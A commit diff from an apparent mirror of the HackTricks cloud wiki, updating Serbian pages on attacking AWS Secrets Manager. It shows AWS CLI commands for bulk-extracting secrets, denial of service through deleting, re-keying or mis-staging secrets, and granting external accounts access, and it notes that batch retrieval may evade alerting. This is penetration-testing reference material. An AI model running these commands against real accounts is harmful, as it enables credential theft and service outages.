mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
@@ -10,16 +10,16 @@ Za više informacija pogledajte:
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Čitanje tajni
|
||||
### Read Secrets
|
||||
|
||||
**Tajne su same po sebi osetljive informacije**, [pogledajte privesc stranicu](../aws-privilege-escalation/aws-secrets-manager-privesc.md) da biste naučili kako ih pročitati.
|
||||
**secrets sami po sebi predstavljaju osetljive informacije**, [pogledajte privesc stranicu](../aws-privilege-escalation/aws-secrets-manager-privesc.md) da biste naučili kako da ih pročitate.
|
||||
|
||||
### DoS - Promena vrednosti tajne
|
||||
### DoS Change Secret Value
|
||||
|
||||
Promenom vrednosti tajne možete **izazvati DoS svim sistemima koji zavise od te vrednosti.**
|
||||
Promenom vrednosti secret-a možete izazvati **DoS svih sistema koji zavise od te vrednosti.**
|
||||
|
||||
> [!WARNING]
|
||||
> Imajte na umu da se prethodne vrednosti takođe čuvaju, pa je lako jednostavno vratiti prethodnu vrednost.
|
||||
> Imajte na umu da se prethodne vrednosti takođe čuvaju, pa je jednostavno vratiti se na prethodnu vrednost.
|
||||
```bash
|
||||
# Requires permission secretsmanager:PutSecretValue
|
||||
aws secretsmanager put-secret-value \
|
||||
@@ -28,19 +28,19 @@ aws secretsmanager put-secret-value \
|
||||
```
|
||||
### DoS Change KMS key
|
||||
|
||||
Ako napadač ima dozvolu secretsmanager:UpdateSecret, može da konfiguriše secret da koristi KMS key koji je u vlasništvu napadača. Taj key je inicijalno podešen tako da bilo ko može da mu pristupi i koristi ga, pa je moguće ažurirati secret sa novim key-jem. Ako key ne bi bio dostupan, secret ne bi mogao biti ažuriran.
|
||||
Ako napadač ima dozvolu secretsmanager:UpdateSecret, može da konfiguriše secret da koristi KMS key u vlasništvu napadača. Taj key je inicijalno podešen tako da svako može da mu pristupi i koristi ga, pa je moguće ažurirati secret novim key-jem. Ako key nije bio dostupan, secret ne bi mogao biti ažuriran.
|
||||
|
||||
Nakon promene key-ja za secret, napadač menja konfiguraciju svog key-ja tako da samo on može da mu pristupi. Na taj način, u narednim verzijama secret-a, on će biti enkriptovan novim key-jem, i pošto neće postojati pristup, mogućnost preuzimanja secret-a biće izgubljena.
|
||||
Nakon promene key-ja za secret, napadač menja konfiguraciju svog key-ja tako da samo on može da mu pristupi. Na taj način, u narednim verzijama secreta, one će biti enkriptovane novim key-jem, i pošto nema pristupa tom key-ju, mogućnost preuzimanja secreta će biti izgubljena.
|
||||
|
||||
Važno je napomenuti da će ova nedostupnost nastupiti samo u kasnijim verzijama, nakon što se sadržaj secret-a promeni, jer je trenutna verzija i dalje enkriptovana originalnim KMS key-jem.
|
||||
Važno je napomenuti da će ta nedostupnost nastupiti samo u kasnijim verzijama, nakon što se sadržaj secreta promeni, jer je trenutna verzija i dalje enkriptovana originalnim KMS key-jem.
|
||||
```bash
|
||||
aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
|
||||
```
|
||||
### DoS Brisanje tajne
|
||||
### DoS Deleting Secret
|
||||
|
||||
Najmanji broj dana za brisanje tajne je 7
|
||||
Minimalan broj dana za brisanje secret-a je 7
|
||||
```bash
|
||||
aws secretsmanager delete-secret \
|
||||
--secret-id MyTestSecret \
|
||||
@@ -48,27 +48,27 @@ aws secretsmanager delete-secret \
|
||||
```
|
||||
## secretsmanager:RestoreSecret
|
||||
|
||||
Moguće je vratiti secret, što omogućava obnavljanje secretova koji su zakazani za brisanje, pošto je minimalni period brisanja 7 dana, a maksimalni 30 dana. Zajedno sa dozvolom secretsmanager:GetSecretValue, ovo omogućava pristup njihovom sadržaju.
|
||||
Moguće je vratiti secret, što omogućava obnavljanje secrets koji su zakazani za brisanje, pošto je minimalni period brisanja secrets 7 dana, a maksimalni 30 dana. U kombinaciji sa permisijom secretsmanager:GetSecretValue, ovo omogućava preuzimanje njihovog sadržaja.
|
||||
|
||||
Da biste oporavili secret koji je u procesu brisanja, možete koristiti sledeću komandu:
|
||||
Da biste povratili secret koji je u procesu brisanja, možete koristiti sledeću komandu:
|
||||
```bash
|
||||
aws secretsmanager restore-secret \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:DeleteResourcePolicy
|
||||
|
||||
Ova akcija omogućava brisanje politike resursa koja kontroliše ko može pristupiti tajni. Ovo može dovesti do DoS-a ako je politika resursa konfigurisana da dozvoljava pristup određenom skupu korisnika.
|
||||
Ova akcija omogućava brisanje politike resursa koja kontroliše ko može da pristupi tajni. Ovo može dovesti do DoS-a ako je politika resursa konfigurisana da dopušta pristup određenom skupu korisnika.
|
||||
|
||||
Za brisanje politike resursa:
|
||||
Da biste obrisali politiku resursa:
|
||||
```bash
|
||||
aws secretsmanager delete-resource-policy \
|
||||
--secret-id <Secret_Name>
|
||||
```
|
||||
## secretsmanager:UpdateSecretVersionStage
|
||||
|
||||
Stanja tajne se koriste za upravljanje njenim verzijama. AWSCURRENT označava aktivnu verziju koju aplikacije koriste, AWSPREVIOUS čuva prethodnu verziju kako biste se mogli vratiti unazad po potrebi, a AWSPENDING se koristi u procesu rotacije da pripremi i validira novu verziju pre nego što je učini trenutnom.
|
||||
Stanja tajne se koriste za upravljanje verzijama tajne. AWSCURRENT označava aktivnu verziju koju koriste aplikacije, AWSPREVIOUS čuva prethodnu verziju kako biste se mogli vratiti unazad ako je potrebno, a AWSPENDING se koristi u procesu rotacije da pripremi i verifikuje novu verziju pre nego što je učini trenutnom.
|
||||
|
||||
Aplikacije uvek čitaju verziju označenu AWSCURRENT. Ako neko premesti tu oznaku na pogrešnu verziju, aplikacije će koristiti nevažeće kredencijale i mogu prestati da rade.
|
||||
Aplikacije uvek čitaju verziju označenu sa AWSCURRENT. Ako neko premesti tu oznaku na pogrešnu verziju, aplikacije će koristiti nevažeće kredencijale i mogu zakazati.
|
||||
|
||||
AWSPREVIOUS se ne koristi automatski. Međutim, ako se AWSCURRENT ukloni ili nepravilno dodeli, može izgledati da sve i dalje radi sa prethodnom verzijom.
|
||||
```bash
|
||||
@@ -79,3 +79,52 @@ aws secretsmanager update-secret-version-stage \
|
||||
--remove-from-version-id <previous-version-id>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Mass Secret Exfiltration preko BatchGetSecretValue (do 20 po pozivu)
|
||||
|
||||
Iskoristite Secrets Manager BatchGetSecretValue API da preuzmete do 20 secrets u jednom zahtevu. Ovo može dramatično smanjiti broj API poziva u poređenju sa ponavljanjem GetSecretValue za svaki secret. Ako se koriste filteri (tags/name), potrebna je i dozvola ListSecrets. CloudTrail i dalje beleži po jedan GetSecretValue događaj za svaki secret preuzet u batch-u.
|
||||
|
||||
Potrebne dozvole
|
||||
- secretsmanager:BatchGetSecretValue
|
||||
- secretsmanager:GetSecretValue for each target secret
|
||||
- secretsmanager:ListSecrets if using --filters
|
||||
- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
|
||||
|
||||
> [!WARNING]
|
||||
> Imajte na umu da sama dozvola `secretsmanager:BatchGetSecretValue` nije dovoljna za preuzimanje secrets — takođe vam je potrebna `secretsmanager:GetSecretValue` za svaki secret koji želite da preuzmete.
|
||||
|
||||
Exfiltrate pomoću eksplicitne liste
|
||||
```bash
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--secret-id-list <secret1> <secret2> <secret3> \
|
||||
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
|
||||
```
|
||||
Exfiltrate preko filtera (tag key/value ili prefiks imena)
|
||||
```bash
|
||||
# By tag key
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-key,Values=env \
|
||||
--max-results 20 \
|
||||
--query 'SecretValues[].{Name:Name,Val:SecretString}'
|
||||
|
||||
# By tag value
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=tag-value,Values=prod \
|
||||
--max-results 20
|
||||
|
||||
# By name prefix
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--filters Key=name,Values=MyApp
|
||||
```
|
||||
Rukovanje delimičnim neuspesima
|
||||
```bash
|
||||
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
|
||||
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
|
||||
```
|
||||
Uticaj
|
||||
- Brzo “smash-and-grab” preuzimanje mnogih tajni uz manje API poziva, što potencijalno zaobilazi alerting podešen na skokove GetSecretValue.
|
||||
- CloudTrail logovi i dalje uključuju po jedan GetSecretValue događaj za svaku tajnu dohvaćenu u seriji.
|
||||
|
||||
@@ -1,10 +1,8 @@
|
||||
# AWS - Secrets Manager Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Za više informacija o secrets manager pogledajte:
|
||||
Za više informacija o Secrets Manager pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
@@ -12,18 +10,18 @@ Za više informacija o secrets manager pogledajte:
|
||||
|
||||
### `secretsmanager:GetSecretValue`
|
||||
|
||||
Napadač sa ovom dozvolom može dobiti **sačuvanu vrednost unutar tajne** u AWS **Secretsmanager**.
|
||||
Napadač sa ovom dozvolom može dobiti **sačuvanu vrednost unutar secret-a** u AWS **Secretsmanager**.
|
||||
```bash
|
||||
aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
|
||||
```
|
||||
**Potencijalni uticaj:** Pristup visoko osetljivim podacima u AWS Secrets Manager servisu.
|
||||
**Potencijalni uticaj:** Pristup veoma osetljivim podacima u AWS Secrets Manager servisu.
|
||||
|
||||
> [!WARNING]
|
||||
> Imajte na umu da čak i sa `secretsmanager:BatchGetSecretValue` dozvolom, napadač bi takođe trebao `secretsmanager:GetSecretValue` da bi preuzeo osetljive tajne.
|
||||
> Imajte na umu da, čak i sa `secretsmanager:BatchGetSecretValue` dozvolom, napadač bi takođe trebao `secretsmanager:GetSecretValue` da preuzme osetljive tajne.
|
||||
|
||||
### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)
|
||||
|
||||
Sa prethodnim dozvolama moguće je **dati pristup drugim principalima/nalozima (čak i eksternim)** da pristupe **tajni**. Imajte na umu da da bi **pročitao tajne šifrovane** KMS ključem, korisnik takođe mora imati **pristup KMS ključu** (više informacija na [KMS Enum page](../aws-services/aws-kms-enum.md)).
|
||||
Sa prethodnim dozvolama moguće je **dodeliti pristup drugim principals/accounts (čak i eksternim)** da pristupe **tajni**. Imajte na umu da, da bi **čitati tajne šifrovane** KMS ključem, korisnik takođe mora imati **pristup KMS ključu** (more info in the [KMS Enum page](../aws-services/aws-kms-enum.md)).
|
||||
```bash
|
||||
aws secretsmanager list-secrets
|
||||
aws secretsmanager get-resource-policy --secret-id <secret_name>
|
||||
|
||||
Reference in New Issue
Block a user